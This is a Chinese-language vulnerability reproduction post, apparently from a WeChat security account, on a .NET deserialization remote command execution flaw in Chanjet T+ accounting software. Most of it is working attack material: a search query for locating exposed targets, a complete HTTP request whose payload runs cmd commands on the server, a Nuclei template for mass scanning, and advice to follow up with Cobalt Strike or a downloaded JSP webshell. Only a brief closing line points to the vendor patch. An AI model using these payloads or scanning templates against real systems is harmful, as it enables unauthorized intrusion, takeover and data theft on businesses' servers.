漏洞复现
步骤一：使用以下语法进行资产搜索并确定攻击目标！！！
# 搜索语法app="畅捷通-TPlus"
步骤二：抓取首页数据包并改包如下...发送POC...
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36X-Ajaxpro-Method: GetStoreWarehouseByStoreHost: ipAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: closeContent-type: application/x-www-form-urlencodedContent-Length: 597{"storeID":{"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","MethodName":"Start","ObjectInstance":{"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","StartInfo": {"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","FileName":"cmd", "Arguments":"/c ipconfig /all > test.txt"}}}}
步骤三：访问其执行命令的日志文件即test.txt文件内容，地址如下...
http://ip/tplus/test.txt
步骤四：后续利用思路为可直接powershell上线CS也可使用下载命令将JSP文件下载至目标服务器从而完成Getshell操作....
批量扫描
id: changjietong_GetStoreWarehouseByStore_rceinfo:name: 用友 畅捷通T+ GetStoreWarehouseByStore 远程命令执行漏洞author: mhb17severity: criticaldescription:variables:file_name: "{{to_lower(rand_text_alpha(8))}}.txt"requests:- raw:- |-POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36X-Ajaxpro-Method: GetStoreWarehouseByStoreHost: {{Hostname}}Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: closeContent-type: application/x-www-form-urlencodedContent-Length: 577{"storeID":{"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","MethodName":"Start","ObjectInstance":{"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","StartInfo": {"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","FileName":"cmd", "Arguments":"/c whoami > {{file_name}}"}}}}- |+GET /tplus/{{file_name}} HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36req-condition: truematchers:- type: dslcondition: anddsl:- 'contains((body_1), "System.ArgumentException") && status_code_2 == 200'
漏洞修复
* 目前官方已发布补丁更新，建议受影响用户尽快安装。* T+ 16.000.000.0283 及以上补丁包：https://www.chanjetvip.com/product/goods/detail?id=6077e91b70fa071069139f62
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原文始发于微信公众号（揽月安全团队）：用友 畅捷通T+ 存在 .net反序列化漏洞至RCE
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